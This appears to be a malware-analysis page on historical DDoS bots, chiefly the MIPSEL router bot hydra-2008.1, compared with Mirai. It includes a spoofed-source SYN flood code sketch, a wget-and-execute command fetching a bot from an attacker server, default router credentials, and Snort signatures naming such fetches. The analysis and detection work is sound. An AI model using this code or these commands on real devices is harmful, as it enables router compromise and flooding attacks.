Skip to content

DDoS Bots & IoT Precursors

The archived collection contains 7 dedicated DDoS bot specimens spanning the mid-2000s through 2008. While many of the larger bot families (rBot, sdBot, Phatbot) included DDoS modules as one capability among many, the specimens in this category were purpose-built for denial-of-service operations - or, in the case of hydra-2008.1, for conscripting embedded network hardware into a flooding army.

These specimens collectively document the evolution from crude single-vector flooders running on compromised Windows desktops to the conceptual blueprint for modern IoT botnets. The crown jewel of this category - and arguably one of the most historically significant artifacts in the entire collection - is hydra-2008.1, a MIPSEL-targeting bot that exploited D-Link consumer routers eight years before Mirai brought IoT DDoS to mainstream awareness.

SpecimenLanguageTarget PlatformPrimary FunctionEra
hydra-2008.1CMIPSEL Linux (routers)IoT botnet / SYN flood2008
illusion DDoS botC/C++Win32Multi-vector DDoSMid-2000s
hdbotv0.2C/C++Win32Cisco router scanner / DDoSMid-2000s

The remaining four specimens are variants or minor standalone flooders that share techniques with the specimens above or with modules embedded in the rBot/sdBot families.


Across all families and the dedicated DDoS bots, the collection documents seven distinct flood types. Understanding these is essential context for the defensive analysis that follows.

Attack TypeProtocol LayerMechanismSpecimens Using It
SYN FloodTCP (L4)Sends spoofed TCP SYN packets to exhaust target's half-open connection tablehydra-2008.1, rBot, sdBot, illusion
SuperSYNTCP (L4)Optimized SYN flood with raw sockets, randomized source IP/port, and minimal inter-packet delayrBot (120-series), rxBot
ACK FloodTCP (L4)Sends spoofed TCP ACK packets to bypass stateless firewalls and consume target resourcesrBot, rxBot variants
UDP FloodUDP (L4)Sends high-volume UDP datagrams to random ports, overwhelming bandwidthrBot, sdBot, illusion
ICMP FloodICMP (L3)Sends oversized or high-rate ICMP echo requests (ping flood)rBot, sdBot
TCP FloodTCP (L4)Completes full TCP handshake, then sends garbage data or resetsrBot, illusion
HTTP FloodHTTP (L7)Opens full HTTP connections and sends valid-looking GET/POST requests to exhaust web server threadsDarkness bot, rBot variants

Most specimens in the collection implement floods using raw sockets (SOCK_RAW) with IP_HDRINCL to craft packets at the IP level. A typical SYN flood implementation follows this pattern (reconstructed from rBot/sdBot source analysis):

/* Simplified SYN flood - representative of collection specimens */
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
while (flooding) {
/* Randomize source IP for spoofing */
ip->saddr = rand();
ip->daddr = target_ip;
tcp->source = htons(rand() % 65535);
tcp->dest = htons(target_port);
tcp->syn = 1;
sendto(sock, packet, packet_len, 0,
(struct sockaddr *)&dest, sizeof(dest));
}

The SuperSYN variant found in the rBot 120-series adds optimizations: pre-computed pseudo-header checksums, per-thread socket pools, and configurable packet-per-second throttling to avoid saturating the bot's own upstream link.


Repository: hydra-2008.1

Key source files:

FilePurpose
MakefileCross-compilation configuration for mipsel-uclibc-gcc
hydra_scan.cNetwork scanner - probes port 23 (Telnet) and port 80 (HTTP)
READMEAuthor's notes - explicitly states "exploited dlink router for make BOTNET"

The Makefile is the definitive proof of Hydra's embedded-system targeting. It specifies:

CC = mipsel-uclibc-gcc

MIPSEL (MIPS Little-Endian) was the dominant CPU architecture in consumer-grade networking hardware of the 2005–2010 era - particularly in routers, DSL modems, and access points manufactured by D-Link, Linksys, and Netgear. The use of uClibc (a lightweight C library designed for embedded Linux) confirms the target was resource-constrained embedded devices, not general-purpose servers.

This cross-compilation approach means the bot author developed and compiled the code on a standard x86 Linux workstation, producing binaries that could only execute on MIPSEL router hardware.

The README file leaves no ambiguity about the target - D-Link routers with:

  • Telnet service exposed on port 23 (enabled by default on many models of the era)
  • HTTP administration interface on port 80 (universally present)
  • Default or weak credentials (the primary attack vector)
  • Known information disclosure vulnerabilities in the web interface

Hydra employed a sophisticated two-stage infection architecture that separated the scanning/exploitation phase from the payload deployment phase:

┌─────────────────────┐ ┌──────────────────────┐
│ STAGE 1: Scanner │ │ STAGE 2: Payload │
│ (x86 Linux host) │ │ (MIPSEL router) │
│ │ │ │
│ hydra_scan.c │ Telnet │ MIPSEL binary │
│ ┌───────────────┐ │ ──────► │ ┌────────────────┐ │
│ │ Scan /16 range│ │ Login │ │ Connect to IRC │ │
│ │ Try creds │──┼────────►│ │ Await commands │ │
│ │ Inject wget │ │ │ │ SYN flood │ │
│ └───────────────┘ │ │ └────────────────┘ │
└─────────────────────┘ └──────────────────────┘
│ ▲
│ wget http://attacker/bot │
└────────────────────────────────┘

Stage 1 - x86 Scanner: The operator runs the x86-compiled Hydra binary on a standard Linux box. This binary scans target IP ranges looking for vulnerable routers.

Stage 2 - MIPSEL Payload Delivery: Upon finding a vulnerable device, the scanner injects the following command sequence via the router's Telnet session:

Terminal window
wget http://{attacker_server}/{mipsel_binary} -P /var/tmp && \
chmod +x /var/tmp/{mipsel_binary} && \
/var/tmp/{mipsel_binary} &

This downloads the MIPSEL-compiled bot to the router's writable /var/tmp directory, makes it executable, and launches it in the background. The infected router then connects to the IRC C&C server and joins the botnet.

Hydra's scanner (hydra_scan.c) implements two distinct scanning modes:

ModeIRC CommandMethodTarget
Basic scan.scanTelnet brute-force with default/weak credentialsPort 23
Advanced scan.advscanHTTP information disclosure exploitPort 80

Scans /16 IP ranges (65,536 addresses per range), probing each for an open Telnet service on port 23. When found, the scanner attempts authentication using a list of common default username/password pairs typical of consumer routers:

  • admin / admin
  • admin / (blank)
  • root / root
  • user / user

The more sophisticated attack mode targets a known information disclosure vulnerability in the D-Link web administration interface:

  1. Sends a crafted HTTP POST request to the router's web server on port 80
  2. Parses the returned HTML response to extract the administrator password from the page
  3. Uses the extracted password to authenticate via Telnet on port 23
  4. Injects the wget payload delivery command

This is notable because it demonstrates that the author understood and exploited a specific vendor vulnerability - not merely default credentials - making this a more targeted attack than simple credential stuffing.

Once a router is infected and connected to the IRC C&C channel, the operator can issue the .synflood command to direct the compromised device to launch SYN flood attacks against arbitrary targets. While a single compromised home router has limited bandwidth, the aggregate effect of hundreds or thousands of infected devices creates a significant DDoS capability - exactly the model Mirai would later prove at catastrophic scale.

The following comparison demonstrates that hydra-2008.1 and Mirai share the same fundamental architecture, separated by eight years and an enormous difference in scale:

Dimensionhydra-2008.1 (2008)Mirai (2016)
Target devicesD-Link routers (single vendor)Cameras, DVRs, routers (dozens of vendors)
Target architectureMIPSELARM, MIPS, MIPSEL, PowerPC, x86, others
Primary infection vectorDefault Telnet credentialsDefault Telnet credentials
Secondary vectorHTTP info disclosure (D-Link specific)None (pure credential attack)
Credential listSmall, vendor-specific62 credential pairs covering many vendors
Scanning scope/16 rangesEntire IPv4 space (stateless SYN scan)
Scanning speedSequential, single-threadedHighly optimized, asynchronous
Payload deliverywget from attacker serverCustom loader infrastructure
C&C protocolIRCCustom binary protocol
C&C resilienceSingle IRC server (fragile)Domain-based with fallback
DDoS methodsSYN flood onlySYN, ACK, UDP, DNS, GRE, HTTP, and more
Peak botnet sizeUnknown (likely hundreds)~600,000 devices
Peak DDoS volumeUnknown1.2 Tbps (Dyn attack, October 2016)

Key insight: The conceptual gap between Hydra and Mirai is not one of kind but of degree. Mirai's authors did not invent a new attack paradigm - they refined, optimized, and scaled one that had existed since at least 2008. The security industry had eight years of warning that this attack model was viable.

  1. It proves the IoT botnet concept predates Mirai by nearly a decade. The common narrative that Mirai was a novel threat is historically inaccurate.
  2. It demonstrates that default credentials on embedded devices were a known, exploited vulnerability years before any meaningful industry response.
  3. It shows that cross-compilation for embedded targets was accessible to moderately skilled malware authors - this was not an advanced nation-state capability.
  4. The security community's failure to act on early warnings like Hydra directly contributed to the scale of damage Mirai caused in 2016.

Repository: illusion

A Windows-based IRC-controlled DDoS bot with multi-vector flooding capability. Unlike the single-purpose Hydra, illusion runs on standard Win32 systems and implements several flood types:

  • SYN flood - raw socket spoofed-source TCP SYN packets
  • UDP flood - high-volume random-port UDP datagrams
  • TCP flood - full-handshake connection exhaustion
  • ICMP flood - oversized ping packets

illusion represents the "workhorse" model of DDoS bots from the mid-2000s: infect Windows desktops via social engineering or exploit, join an IRC channel, and await flood commands. Its code is straightforward and lacks the sophistication of Hydra's cross-platform targeting, but its multi-vector approach made it more versatile against targets with basic DDoS mitigation.

Repository: hdbotv0.2

hdbot occupies an interesting niche: it is a Win32 IRC bot whose distinguishing feature is a built-in Cisco router scanner. While it runs on Windows, it scans for Cisco networking equipment with default or weak credentials - making it a conceptual sibling to Hydra's router-targeting approach, though it targets enterprise rather than consumer hardware.

Key capabilities:

  • Cisco scanner - probes for Cisco IOS devices with default credentials
  • DDoS module - standard SYN/UDP/ICMP floods from the Windows host
  • IRC C&C - standard bot command interface

hdbot and Hydra together demonstrate that by the mid-to-late 2000s, bot authors were actively looking beyond Windows desktops for devices to conscript - targeting both consumer routers (Hydra) and enterprise networking equipment (hdbot).


The following table maps the techniques observed across the DDoS bot category to the MITRE ATT&CK framework:

Technique IDTechnique NameSpecimensNotes
T1110.001Brute Force: Password Guessinghydra-2008.1, hdbotv0.2Default credential attacks on routers
T1190Exploit Public-Facing Applicationhydra-2008.1D-Link HTTP info disclosure
T1021.004Remote Services: SSHhydra-2008.1Telnet-based (same principle as SSH)
T1059.004Command and Scripting Interpreter: Unix Shellhydra-2008.1wget, chmod, shell exec on router
T1105Ingress Tool Transferhydra-2008.1wget payload delivery to router
T1498Network Denial of ServiceAll specimensSYN, UDP, ICMP, TCP, HTTP floods
T1498.001Network DoS: Direct Network Floodillusion, hydra-2008.1Volume-based flooding
T1071.001Application Layer Protocol: Web Protocolshydra-2008.1HTTP-based info disclosure exploit
T1571Non-Standard PortAll specimensIRC C&C on non-standard ports
T1078.001Valid Accounts: Default Accountshydra-2008.1, hdbotv0.2Factory default credentials
T1592.002Gather Victim Host Info: Softwarehydra-2008.1HTTP parsing to extract router config
T1027Obfuscated Files or InformationillusionBasic string obfuscation
hydra-2008.1 Kill Chain
┌─────────────────────────────────────────────────┐
│ Reconnaissance │ Scan /16 ranges, port 23/80 │
│ Initial Access │ T1078 Default credentials │
│ │ T1190 HTTP info disclosure │
│ Execution │ T1059 Shell commands (wget) │
│ Persistence │ Background process (&) │
│ C&C │ IRC channel join │
│ Impact │ T1498 SYN flood DDoS │
└─────────────────────────────────────────────────┘

The DDoS specimens in this collection - particularly hydra-2008.1 - expose vulnerabilities that remain relevant today:

  1. Change default credentials immediately upon deployment. Hydra's entire infection chain depends on factory-default usernames and passwords. This was a known problem in 2008 and remains the #1 IoT security failure.

  2. Disable unnecessary management services. Telnet on port 23 should never be exposed to the internet. SSH with key-based authentication should be used for remote management. Many routers of the Hydra era had Telnet enabled by default with no option to disable it in the consumer firmware.

  3. Segment IoT and network infrastructure. Routers and embedded devices should not be directly accessible from the public internet without VPN or access control.

  4. Monitor for scanning activity. Hydra's /16 range scanning is noisy and detectable. Sequential connection attempts to port 23 or 80 across a subnet should trigger alerts.

  5. Implement firmware update mechanisms. The routers targeted by Hydra in 2008 had no automatic update capability. Vulnerabilities remained unpatched for the entire lifetime of the device.

The eight-year gap between hydra-2008.1 and Mirai represents a systemic failure in threat intelligence and industry response:

YearWhat Should Have HappenedWhat Actually Happened
2008Recognize embedded device botnets as an emerging threat classSpecimens like Hydra went largely unnoticed
2010Push for default-credential legislation and industry standardsNo meaningful action
2012Mandate Telnet deprecation in consumer networking gearTelnet still shipping enabled by default
2014Deploy ISP-level scanning to identify vulnerable devicesMinimal effort
2016Mirai launches 1.2 Tbps DDoS against DynIndustry acts surprised

Defenders monitoring for hydra-class threats should watch for:

# Snort-style signature concepts for Hydra-class IoT bots
# Telnet brute-force from single source
alert tcp any any -> $HOME_NET 23 (msg:"Possible IoT bot Telnet scan";
flow:to_server; threshold:type both, track by_src, count 10, seconds 60;
sid:1000001;)
# wget payload delivery to /var/tmp (common IoT bot staging)
alert tcp $HOME_NET any -> any 80 (msg:"IoT bot wget payload fetch";
content:"GET"; content:"/var/tmp"; content:"wget";
sid:1000002;)
# Outbound IRC from embedded device subnet
alert tcp $IOT_SUBNET any -> any 6667 (msg:"IRC from IoT subnet";
flow:to_server,established;
sid:1000003;)

The fundamental security posture of embedded systems - shipping with default credentials, running unnecessary services like Telnet, and lacking an easy update mechanism - was the root cause of this threat in 2008, and it remains a major problem today.

  • Analysis derived from hydra-2008.1 source review

The specimens in this category prove that IoT botnets were not an unforeseeable "black swan" event. They were a slow-moving, well-documented, and ultimately preventable threat that the industry chose not to address until it was too late.